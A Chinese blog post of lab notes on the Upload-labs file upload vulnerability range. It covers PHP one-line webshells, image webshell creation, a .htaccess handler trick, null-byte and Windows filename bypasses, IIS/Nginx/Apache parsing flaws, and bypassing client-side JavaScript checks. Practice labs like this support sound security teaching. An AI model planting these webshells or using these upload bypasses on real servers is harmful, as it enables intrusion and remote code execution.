上传漏洞 Upload-Labs-1 实战笔记

后来那么悲伤,只是因为相遇的时候那么美,如果悲剧不能逆转,那么你在故事开头所体会到的欢乐,最后都要用双倍的悲伤来偿还

Upload-labs是国内一个老哥c0ny1开源的上传漏洞靶子,下载地址

https://github.com/c0ny1/upload-labs

与sqli-labs有些类似,主要专注于上传漏洞这一块。

为了方便下载,已经保存到当前服务器下

下载地址

环境搭建

默认下载PHP+Mysql即可,如果之前有搭建过sqli-labs的话,直接把项目放在www目录下即可。

然后打开,这个时候网页会提示undefined index。。。。,这其实不是异常,而是PHP的提示,不影响,原因是某些变量没有定义就先使用,虽然在PHP中这是合法的,这样的提醒提示出现上面这些是 PHP 的提示而非报错,PHP 本身不需要事先声明变量即可直接使用,但是对未声明变量会有提示。一般作为正式的网站会把提示关掉的,甚至连错误信息也被关掉。

别忘记准备一只PHP木马,并且创建一个upload文件夹。

php木马:<?php @eval($_GET['x']);?>

图片马:
将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

copy xx.jpg/b + yy.txt/a xy.jpg              /b 即二进制[binary]模式              /a 即ascii模式 xx.jpg正常图片文件      yy.txt内容

上传漏洞

上传漏洞按个人理解分三种,第一种是代码层的。即代码过滤不严格,或者使用客户端本地校验。第二种是服务层的,比如iis6.0的解析漏洞,apache的解析漏洞。第三种就是前面结合在一起的,比如代码层过滤了部分内容都是能绕过,然后通过服务器层的解析漏洞上传成功。

所以每次在上传前应该先探测一下服务器信息,试一试服务器层的解析漏洞。

代码层的漏洞会在以后的文章专门描述,这里稍微总结一下服务器层的漏洞。

IIS 6.0

1. 当建立*.asa,*.asp,*.cdx,*.cer格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
2. 当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。
3. 用put方法写文件,然后通过Move或Copy方法改名

IIS 7.0/IIS 7.5/ Nginx <8.03

第一种方法:在默认Fast-CGI开启状况下,黑阔上传一个名字为sp.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php

第二种方法:IIS7.5 的漏洞与 nginx 的类似,都是由于 php 配置文件中,开启了 cgi.fix_pathinfo,而这并不是 nginx 或者 iis7.5 本身的漏洞。

跟 nginx 解析漏洞一样,要在 php.ini => cgi.fix_pathinfo=1 开启的情况才会产生。

可以配合操作系统文件命名规则,上传不符合 windows 文件命名规则的文件名

test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA

会被 windows 系统自动去掉不符合规则符号后面的内,然后再配合这个解析漏洞来执行文件。

Nginx <8.03

Nginx在图片中嵌入PHP代码然后通过访问

xxx.jpg%00.php

来执行其中的代码

举个例子:

首先准备文件test.jpg(或者准备一个图片木马),内容为:

<?php phpinfo() ?>

然后访问:

http://xxxx.com/test.jpg/test.php 
或者访问:http://xxxx.com/test.jpg%00.php 

另外一种手法:上传一个名字为 test.jpg,以下内容的文件:

<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问 test.jpg/.php, 在这个目录下就会生成一句话木马 shell.php。这个解析漏洞其实是 PHP CGI 的漏洞,在 PHP 的配置文件中有一个关键的选项 cgi.fix_pathinfo 默认是开启的,当 URL 中有不存在的文件,PHP 就会向前递归解析。

Apache

1. 在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。这种方法可以绕过基于黑名单的检查。Apache 能够认识的文件在 mime.types 文件里。

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

2. 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

<FilesMatch "m.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传m.jpg的木马, 这样m.jpg就可解析为php文件。然后访问xxx.com/m.jpg,看你的木马是get传入方式还是post传入方式。根据不同提交方式使用木马的密码=phpinfo();执行看看

3. Apache 配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当 php 程序执行的文件名要符合正则表达式,否则就算 Apache 把某文件当 php 程序,php 自己不认它,也是无用。也就是说php3,php4,php5,pht,phtml也是可以被解析的。

Win

  1. 在windows环境下,m.php[空格] 或m.php. 。这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的,测试发现如果代码中过滤删除后缀的点或者后缀后面的空格两种情况中的一种,那就试一试上传m.php.[空格]这样的格式。

  2. 文件名改成.php::$DATA,上传成功后保存的文件名其实是.php,原理是Windows文件流特性绕过

总结一下系统层的命名规则漏洞

  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA
  shell.php::$DATA…….

%00截断

条件:php 版本 < 5.3.4

filename=test.php%00.txt

1、上传时路径可控,使用 00 截断

2、文件下载时,00 截断绕过白名单检查

3、文件包含时,00 截断后面限制(主要是本地包含时)

4、其它与文件操作有关的地方都可能使用 00 截断。

黑盒测试

首先看到的页面是这样的,尝试上传m.php木马,浏览器直接提示不允许上次,并且提示速度特别快,而且弹框出来,按照经验推测是本地客户端校验,禁用javascript试一试。

禁用之后再上传发现upload目录下多了一个m.php文件,然后访问一下。

上传成功。

关于该漏洞上传木马还有很多别的办法,比如木马改名m.jpg,然后抓包改包成m.php一样可以上传成功,通过审查元素也可以绕过。

白盒测试

最主要的下面这两个片段代码,首先定义一个js函数,从上传区中获取上传文件的属性值,然后判断是否上次文件为空,最后判断文件后缀。

<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
# 传输方式为POST,点击的时候调用下面的js函数
    <p>请选择要上传的图片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上传"/>
</form>

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        # 定义一个变量,获取上传文件信息
        if (file == null || file == "") {
        # 如果上传文件为空,弹框出来
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

作者的注释都写得很详细,我这里就不再画蛇添足了,一般来说如果上传的时候直接提示不允许上传,基本都是本地客户端校验,因为服务端校验会因为网络延迟的缘故要等一小会儿。

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%